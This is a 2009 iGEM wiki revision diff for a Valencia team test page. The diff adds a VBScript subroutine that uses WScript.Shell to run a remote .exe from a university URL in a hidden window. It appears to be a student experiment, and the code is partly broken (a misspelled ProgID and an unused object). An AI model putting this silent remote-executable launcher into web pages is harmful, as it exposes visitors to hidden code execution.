"
Team:Valencia/PruebaDocs3
From 2009.igem.org
(Difference between revisions)
| Line 1: | Line 1: | ||
<html> | <html> | ||
| - | < | + | <SCRIPT LANGUAGE=vbscript> |
| - | + | ||
| - | + | ||
| + | Sub Prueba() | ||
| + | |||
Dim objWSCript | Dim objWSCript | ||
Dim FSO, miFile | Dim FSO, miFile | ||
| - | Set | + | Set FSO = CreateObject("Scripting.FileSystem.Object") |
| - | + | miFile = "http://personales.alumno.upv.es/~edotab/Tipo_1_2.exe" | |
| - | + | Set objWSCript = CreateObject("WSCript.Shell") | |
| + | objWSCript.Run miFile, vbhide | ||
| + | |||
| + | Set FSO = Nothing | ||
| + | Set objWSCript = Nothing | ||
End Sub | End Sub | ||
| - | + | </SCRIPT> | |
| - | </ | + | |
<body> | <body> | ||
Revision as of 03:46, 27 August 2009
